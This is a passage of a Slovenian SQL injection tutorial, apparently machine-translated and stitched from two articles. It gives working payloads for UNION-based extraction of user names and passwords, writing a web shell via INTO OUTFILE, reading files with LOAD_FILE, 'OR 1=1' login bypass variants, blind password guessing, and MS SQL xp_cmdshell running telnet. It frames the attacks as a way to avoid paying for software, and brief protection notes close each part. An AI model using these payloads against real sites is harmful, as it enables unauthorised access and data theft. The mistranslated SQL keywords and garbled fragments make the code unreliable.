ni prikazal nobenih napak, kar pomeni, da je število polj večje od 2. Poskusimo:

Sqlinj/index1.php?id=1 ZDRUŽI PO 8
Op, vidimo napako, kar pomeni, da je število polj manjše od 8.

Če pri GROUP BY 4 ni napake, pri GROUP BY 6 pa je napaka, je število polj 5

Definiranje izhodnih stolpcev
Da zagotovimo, da se nam od prve zahteve ne prikaže nič, je dovolj, da zamenjamo neobstoječi ID, na primer:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5


S tem dejanjem smo določili, kateri stolpci so prikazani na strani. Zdaj, da bi te številke nadomestili s potrebnimi informacijami, morate nadaljevati zahtevo.

Izpis podatkov

Recimo, da vemo, da tabela še obstaja uporabnikov v katerem obstajajo polja id, ime in prehod.
Pridobiti moramo podatke o uporabniku z ID=1

Zato sestavimo naslednjo poizvedbo:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM uporabnikov WHERE id=1
Skript se prav tako nadaljuje z izpisom

Da bi to naredili, bomo zamenjali imena polj namesto številk 1 in 3

Sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM uporabnikov WHERE id=1
Dobili smo, kar smo potrebovali!

Za "vhodni parameter niza" kot v skriptu index2.php na začetku morate dodati narekovaj in na koncu komentar. primer:
sqlinj/index2.php?user=-1" UNION SELECT name,2,pass,4,5 FROM uporabnikov WHERE id=1 --%20

Branje/pisanje datotek

Za branje in pisanje datotek mora imeti uporabnik baze podatkov pravice FILE_PRIV.
Snemanje datotek
Pravzaprav je vse zelo preprosto. Za pisanje datoteke bomo uporabili funkcijo OUTFILE.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 INTO OUTFILE "1.php" --%20
Super, datoteka je registrirana pri nas. Tako lahko napolnimo mini lupino:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 INTO OUTFILE "1.php" --%20
Branje datotek
Branje datotek je celo lažje kot pisanje. Dovolj je, da preprosto uporabite funkcijo LOAD_FILE, za mesto polja, ki ga izberemo:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Tako smo prebrali prejšnjo napisano datoteko.

Metode zaščite

Zaščititi se je še lažje kot izkoristiti ranljivost. Samo filtrirajte podatke. Če posredujete številke, uporabite
$id = (int) $_GET["id"];
Kot je predlagal uporabnik malroc. Zaščitite se z ZOP ali pripravljenimi izjavami.

Namesto dokončanja

Tukaj želim končati svoj prvi del o "vbrizgavanju SQL za začetnike". V drugem si bomo ogledali hujše primere injekcij. Poskusite sami pisati ranljive skripte in izvajati poizvedbe.
In ne pozabite, ne zaupajte nobenemu uporabniku svojega spletnega mesta.

Oznake: dodajte oznake

Vbrizgavanje SQL kar dobra priložnost za hekerja
dostop do strežnika. In z malo truda, on
še dobi :)

Kodirnik znotraj

Danes je podprto delo z bazami podatkov
skoraj vsi programski jeziki, med njimi BASIC, C++, Java, PERL, PHP, Assembler in celo JavaScript! In ti programi se imenujejo nič drugega kot DBMS - sistemi za upravljanje baz podatkov. Baze podatkov se pogosto uporabljajo za reševanje finančnih težav,
računovodstvo, kadrovska organizacija, svojo uporabo pa so našle tudi na internetu.

Baze podatkov se pogosto uporabljajo za pisanje spletnih aplikacij. Njihova uporaba je najprimernejša za shranjevanje podatkov o registraciji uporabnikov, identifikatorjev sej, organizacijo iskanj, pa tudi za druga opravila, ki zahtevajo več obdelave.
količino podatkov. Za dostop do podatkovne baze se uporabljajo strežniške tehnologije: PHP, PERL, ASP itd. Tu se začne zabava. Ko je na strežniku
vsi popravki so nameščeni in požarni zid blokira vsa vrata razen vrat 80 ali ko je za dostop do nekaterih podatkov potrebna avtentikacija, lahko heker za vdor uporabi SQL Injection. Bistvo tega napada je izkoriščanje napake na stičišču WEB tehnologij in SQL. Dejstvo je, da številne spletne strani za obdelavo uporabniških podatkov tvorijo posebno SQL zahtevo po bazi podatkov. Brezskrbna uporaba te tehnike lahko privede do precej zanimivih rezultatov...

Vbrizgavanje SQL

Da bi razložili napad, si predstavljajmo, da ste šli na spletno mesto, da bi prenesli eno zelo pomembno orodje in z grozo opazili, da lahko to stori le registriran uporabnik, registracija pa seveda stane :) Nočete dati stran vaš zadnji zasluženi denar, vendar brez programa ne morete! Čas je, da se spomnimo, kako
dostop do baz podatkov SQL. Na primer, preverjanje vaše prijave in gesla v PHP je lahko videti takole:

$result=mysql_db_query($db,"SELECT * FROM $table WHERE user="$login" IN
pass="$geslo"");
$num_rows=mysql_num_rows($rezultat);
mysql_close($link);
če ($num_rows!=0)
{
// AVTENTIKACIJA OK
}
drugače
{
// NAPAKA PREVERJANJE PRISTNOSTI
}

Dodal sem dva komentarja, "VERJANJE V redu" - zamenjati bi ga moral
pojdite na kodo, ki bo izvedena, če sta geslo in prijava pravilna. Druga »NAPAKA PRI PREVERJANJU« je mesto, kjer bo opisana koda, ki bo izvedena, če so nepravilne. Če izpolnite obrazec, bo zahteva izgledala takole: “http://www.server.com?login=user&password=31337”, kjer je www.server.com ime
strežnik, s katerim se poskušamo povezati. Našli smo, kar smo iskali, zato se bomo spet vrnili na delo SQL. Torej, če morate določiti prijavo in geslo za avtorizacijo, potem ustvarjeno SQL zahteva bo videti takole:

IZBERITE * FROM uporabnikov WHERE login="uporabnik" IN
geslo="31337"

To pomeni nekaj takega: vrni mi vse zapise iz baze uporabnikov, katerih prijava je "uporabnik" in geslo "31337". Če takšen zapis obstaja, potem je uporabnik registriran, če ne, pa ne... Se pa pod določenimi pogoji lahko vse popravi. To se nanaša na situacijo, ko aplikacija ne preveri vsebine prenesenih podatkov ali jih ne preveri v celoti glede prisotnosti SQL navodila. V tem primeru sta preverjeni dve polji prijava in geslo, vendar če kot geslo podate »31337′ IN email= [e-pošta zaščitena]«(brez dvojnih narekovajev), potem bo poizvedba nekoliko drugačna:

IZBERITE * FROM uporabnikov WHERE prijava="uporabnik" IN geslo="31337" IN
email=" [e-pošta zaščitena]"

In če obstaja polje za e-pošto, bo ta pogoj tudi preverjen. Če se spomnite osnov Boolove algebre, vam pride na misel, da poleg operacije »in« obstaja tudi »ali«, in ker njihovo uporabo podpira SQL, lahko
na opisan način dodajte pogoj, ki vedno vrne true. Če želite to narediti, morate kot prijavo podati "uporabnik" ALI 1=1—, v tem primeru bo zahteva v obliki:

IZBERITE * FROM uporabnikov WHERE login="uporabnik" ALI 1=1--" IN
geslo="31337"

Najprej morate vedeti, da »—« pomeni konec zahteve in vse za »—«
ne bo obdelan! Izkazalo se je, da smo podali zahtevo:

IZBERITE * FROM uporabnikov WHERE login="uporabnik" ALI 1=1

Kot lahko vidite, smo dodali pogoj »1=1«, kar pomeni, da bo merilo preverjanja »če je prijava 'uporabnik' ali 1=1«, vendar je 1 vedno enako 1 (edina izjema je lahko aritmetika Danija Shepovalova :)). Da preverimo svoje sume
V naslovno vrstico vnesite »http://www.server.com?login=user ali 1=1—&password=31337«. To vodi do dejstva, da ni pomembno, katero prijavo smo navedli, ampak
še posebej geslo! In smo v matrici... oh, v sistemu in lahko mirno prenesemo, kar potrebujemo.

Ampak to je vse v teoriji. V praksi ne vemo, kako se zahteva oblikuje, kateri podatki se posredujejo in v kakšnem zaporedju. Zato je treba za vsa polja določiti “uporabnik’ ALI 1=1—”. Preverite tudi, ali so v obrazcu za oddajo skrita polja. V HTML so opisani kot " " Če obstajajo, shranite stran in spremenite vrednosti teh polj. Vrednosti, ki jih vsebujejo, se pogosto pozabijo preveriti glede prisotnosti stavkov SQL. Da pa bo vse delovalo, morate v obrazcu (oznaka »FORM«) za parameter »ACTION« določiti celotno pot do skripta, ki obdeluje to zahtevo.

Vendar ni vedno znano, kako je zahteva oblikovana,
Prejšnji primer bi lahko oblikovali na naslednje načine:

IZBERI * OD uporabnikov KJE (prijava="uporabnik" IN geslo="31337")
IZBERI * OD uporabnikov WHERE login="uporabnik" IN geslo="31337"
SELECT * FROM users WHERE prijava=uporabnik IN geslo=31337

V tem primeru lahko poskusite naslednje možnosti:

'ALI 1=1—
» ALI 1=1—
ALI 1=1—
‘ ALI ‘a’=’a
"ALI "a"="a
') ALI ('a'='a
ALI '1'='1'

Vse je odvisno od namena skripte in od programerja. Ker vsakdo dela vse na svoj način, je povsem možno, da programer ne bo izbral najlažje možnosti. Zato ne smete takoj
obupaj, če te zavrnejo. Nujno
poskusi čim več možnosti...

Zaznavanje gesla

Obhod avtorizacije ni slab, vendar se zelo pogosto luknja, ki jo uporabljate, zapre in izgubi vse, kar vam je bilo na voljo.
To je pričakovano, če programer ni bedak
Sčasoma bo zaprl vse vrzeli. Takšnih situacij se zlahka znebite tako, da za to poskrbite vnaprej. Pravilna rešitev je morda uganiti geslo z uporabo
analiza rezultatov avtentikacije. Najprej poskusimo uganiti geslo, za to vnesite njegovo lokacijo:

'ALI geslo>'a

Če nam povedo, da je bila avtorizacija opravljena, potem geslo
se ne začne s črko "a", temveč z enim od naslednjih na seznamu. Gremo naprej in zamenjava
mesto "a", poleg "b", "c", "d", "e" ... itd. dokler nam ne povedo, da geslo ni pravilno. Naj se ta proces ustavi pri simbolu "x", v tem primeru se ustvarita dve možnosti za razvoj situacije: geslo je najdeno ali se geslo začne s tem simbolom. Če želite preveriti prvo možnost, napišite lokacijo gesla:

'ALI geslo='x

in če je geslo sprejeto in vam je dovoljen vstop, potem ste uganili geslo! No, ne, potem morate izbrati drugi znak,
popolnoma enako, od začetka. Preverite dva znaka
potrebujejo enako. Na koncu prejmete geslo in na enak način boste iskali prijavo :)
Če vam najdeno geslo in prijava ne ustrezata, lahko poiščete druge. Če želite to narediti, morate začeti preverjanje od zadnjega znaka najdenega gesla. Torej, če je bilo geslo “xxx”, je potrebno preveriti obstoj gesla
"xxxy":

'ALI geslo='xxx

da ne zamudite več kot ene možnosti!

MS SQL strežnik

MS SQL Server je na splošno božji dar, če zamudite potrebno filtriranje. Z uporabo ranljivosti SQL Injection, ki jo lahko izvedete
ukaze na oddaljenem strežniku z uporabo exec master..xp_cmdshell. Toda za uporabo tega dizajna
mora biti dokončana operacija SELECT. V SQL so stavki ločeni s podpičji. Zato morate za povezavo z nekaterim IP prek Telneta vnesti geslo/lokacijo za prijavo:

"; exec master..xp_cmdshell "telnet 192.168.0.1" --

MS SQL Server ima več zanimivih funkcij, ki vam omogočajo, da najdete prijave in gesla, shranjena v bazi podatkov. Da bi to naredili, se izhod napake preusmeri na poljuben strežnik in prek njih
analizo, lahko ugotovite ime tabele, polja in njihove vrste. Po tem lahko zahtevate

‘ UNION IZBERI NAJBOLJŠIH 1 prijav FROM uporabnikov—

(prijava je ime polja, ki vsebuje prijavo, uporabniki pa ime tabele,
polznanstveniki v procesu analize napak).

Odgovor bi lahko bil:


Sintaksna napaka pri pretvorbi vrednosti nvarchar "admin" to a column of data type int. !}
/default.asp, vrstica 27

Zdaj vemo, da obstaja uporabnik z imenom "admin". Zdaj lahko dobimo njegovo geslo:

'UNION SELECT TOP 1 geslo FROM uporabnikov, kjer je prijava='admin'—

rezultat:

Napaka ponudnika Microsoft OLE DB za gonilnike ODBC "80040e07"
Sintaksna napaka pri pretvorbi vrednosti nvarchar "xxx" to a column of data type int. !}
/tedault.asp, vrstica 27

Zdaj vemo, da obstaja uporabnik "admin" z geslom "xxx". S tem lahko varno
uporabite in se prijavite v sistem 😉

Obstaja pa veliko drugih funkcij za delo s SQL,
Ko delate z bazo podatkov, lahko tudi brišete podatke, jih spreminjate, vstavljate svoje in celo manipulirate z datotekami in delate z registrom.
Na splošno pravila SQL Server :)

Zaščita

Vsemu temu pa se seveda da izogniti. Če želite to narediti, lahko
uporabljajte filtre,
ki jih zagotavljajo proizvajalci. Lahko najdete svoje rešitve, na primer zamenjavo vseh enih
dvojni narekovaji (če je za SQL zahtevamo uporabo posameznih) ali obratno. Dovolite lahko samo uporabo črk in s@baki, če se morate vpisati
email naslov. In v biseru je neverjetno
funkcijo 🙂 quote() v modulu DBI::DBD, ki vašo poizvedbo uspešno naredi varno glede na SQL. Rešitev je veliko, samo potrebujete jih
izkoristiti. Sicer pa zakaj potem vse to...